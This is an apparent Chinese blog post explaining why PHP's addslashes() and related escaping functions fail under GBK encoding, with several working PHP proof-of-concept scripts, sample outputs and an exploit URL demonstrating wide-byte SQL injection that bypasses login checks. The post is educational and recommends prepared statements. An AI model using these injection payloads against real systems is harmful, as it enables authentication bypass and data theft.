• PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击


    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它。

    mysql_real_escape_string() 和 addslashes() 的区别在于:

    区别一:

    addslashes() 不知道任何有关MySQL连接的字符集。如果你给所使用的MySQL连接传递一个包含字节编码之外的其他编码的字符串,它会很愉快地把所有值为字符'、"、和x00的字节进行转义。如果你正在使用不同于8位和UTF-8的其它字符,这些字节的值不一定全部都是表示字符'、"、和x00。可能造成的结果是,MySQL接收这些字符后出现错误。

    如果要修正这个bug,可尝试使用 iconv() 函数,将变量转为UTF-16,然后再使用 addslashes() 进行转义。

    这是不使用 addslashes() 进行转义的原因之一。

    区别二:

    与 addslashes() 对比,mysql_real_escape_string() 同时还对 、 和x1a进行转义。看来,这些字符必须正确地告诉MySQL,否则会得到错误的查询结果。

    这是不使用 addslashes() 进行转义的另一个原因。

    addslashes V.S. mysql_real_escape_string

    GBK里,0xbf27不是一个合法的多字符字符,但0xbf5c却是。在单字节环境里,0xbf27被视为0xbf后面跟着0x27('),同时0xbf5c被视为0xbf后面跟着0x5c()。

    一个用反斜杠转义的单引号,是无法有效阻止针对MySQL的SQL注入攻击的。如果你使用addslashes,那么,我(攻击者,下同)是很幸运的。我只要注入一些类似0xbf27,然后addslashes将它修改为0xbf5c27,一个合法的多字节字符后面接着一个单引号。换句话说,我可以无视你的转义,成功地注入一个单引号。这是因为0xbf5c被当作单字节字符,而非双字节。

    在这个演示中,我将使用MySQL 5.0和PHP的mysqli扩展。如果你想尝试,请确保你使用GBK。

    创建一个名为 users 的表:

    CREATE TABLE users(
    	username VARCHAR(32) CHARACTER SET GBK,
    	password VARCHAR(32) CHARACTER SET GBK,
    	PRIMARY KEY(username)
    );

    下面的代码模拟只使用 addslashes()(或magic_quotes_gpc) 对查询数据进行转义时的情况:

    <?php
    header('Content-Type: text/html; charset=gbk');
    $mysql = array();
    $db = mysqli_init();
    $db->real_connect('localhost', 'root', 'root', 'go-study');
    
    /* SQL注入示例 */
    $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #/*';
    $_POST['password'] = 'guess';
    
    $mysql['username'] = addslashes($_POST['username']);
    $mysql['password'] = addslashes($_POST['password']);
    
    $sql = "SELECT *
    	FROM users
    	WHERE username = '{$mysql['username']}'
    	AND password = '{$mysql['password']}'";
    
    $result = $db->query($sql);
    
    if ($result->num_rows) {
    	/* 成功 */
    } else {
    	/* 失败 */
    }

    尽管使用了addslashes(),我还是可以在不知道用户名和密码的情况下成功登录。我可以轻松的利用这个漏洞进行SQL注入。

    要以免这种漏洞,使用 准备语句(Prepared Statements,即“参数化查询”)或者任意一款主流的数据库抽象类库。

    sql宽字节注入,绕过单引号

    在 GBK 编码中, 0xbf27 不是一个宽字符, 但是 0xbf5c 是宽字符. 拆开看, 0xbf27 是 0xbf () 和 0x27 (')的组合, 同时 0xbf5c 是 0xbf () 和 0x5c ()的组合.所以我们要让系统在过滤单引号时候,插入一个 (),变成0xbf5c27这就是一个宽字符0xbf5c加上一个 0x27 (')。

    这样就产生了注入。

    这种做法,其实用的最普遍的就是xss时候,长期会使用到。让系统过滤script同时过滤之后又产生script。

    来几个exp,mysql版本5.5.15,php版本5.3.5:

    <?php
    
    $c = mysql_connect("localhost", "root", "cr0_3");
    
    mysql_select_db("test", $c);
    
    // change our character set
    
    mysql_query("SET CHARACTER SET 'gbk'", $c);
    
    // create demo table
    
    mysql_query("CREATE TABLE users (
    
        username VARCHAR(32) PRIMARY KEY,
    
        password VARCHAR(32)
    
    ) CHARACTER SET 'GBK'", $c);
    
    mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
    
    // now the exploit code
    
    $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #/*'; 
    
    $_POST['password'] = 'anything'; 
    
    // Proper escaping, we should be safe, right?
    
    $user = mysql_real_escape_string($_POST['username'], $c);
    
    $passwd = mysql_real_escape_string($_POST['password'], $c);
    
    $sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
    
    echo $sql;
    
    $res = mysql_query($sql, $c);
    
    //print_r($res);
    
    echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
    
    mysql_close($c);
    
    ?>

    输出:

    SELECT * FROM users WHERE username = '縗' OR username = username #/*' AND password = 'anything'2

    <?php
    
    $mysql = array();
    
    $db = mysqli_init();
    
    $db->real_connect('localhost', 'root', 'cr0_3', 'test');
    
    $db->query("SET NAMES 'gbk'");
    
    /* SQL Injection Example */
    
    $_POST['username'] = chr(0xbf) . chr(0x27) .' OR username = username #';
    
    $_POST['password'] = 'guess';
    
    $mysql['username'] = addslashes($_POST['username']);
    
    $mysql['password'] = addslashes($_POST['password']);
    
    $sql = "SELECT *
    
            FROM   users
    
            WHERE  username = '{$mysql['username']}
    
            AND    password = 'test'";
    
    $result = $db->query($sql);
    
    echo $sql;
    
    if ($result->num_rows) {
    
    echo 'Success';
    
        /* Success */
    
    } else {
    
        /* Failure */
    
    echo 'Failure';
    
    }
    
    ?>

    输出:

    SELECT * FROM users WHERE username = '縗' OR username = username # AND password = 'test'Success

    <?php
    
    $conn=mysql_connect("localhost","root","cr0_3");
    
    mysql_query("SET NAMES 'GBK'");
    
    mysql_select_db("test",$conn);
    
    
    
    $_GET['user'] = chr(0xdf) .chr(0x27).' OR username = username #';
    
    //$_GET['pass'] = 'guess';
    
    $user=mysql_escape_string($_GET['user']);
    
    $pass=mysql_escape_string($_GET['pass']);
    
    $sql="select * from users where username='$user' and password='$pass'";
    
    $result=mysql_query($sql,$conn);
    
    echo $sql;
    
    echo mysql_num_rows($result);
    
    $rows =  array();
    
    while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) {
    
        $rows[]=$row;
    
    }
    
    print_r($rows);
    
    ?>

    输入:

    http://localhost/exp3.php?user=%df%27%20or%201=1%20limit%201,1%23&pass=

    输出:

    select * from users where username='運' OR username = username #' and password=''2

  • 相关阅读:
    jQury+Ajax与C#后台交换数据
    loadrunner 测试问题汇总
    Loadrunner脚本学习总结
    sar命令详解
    用sar进行CPU利用率的分析
    centos7-sar工具的安装过程及其简单应用
    shell if [ -d filename]
    shell脚本自带变量的含义
    Sublime Text2使用规则
    selenium grid结构图
  • 原文地址:https://www.cnblogs.com/52php/p/6092189.html
Copyright © 2020-2023  润新知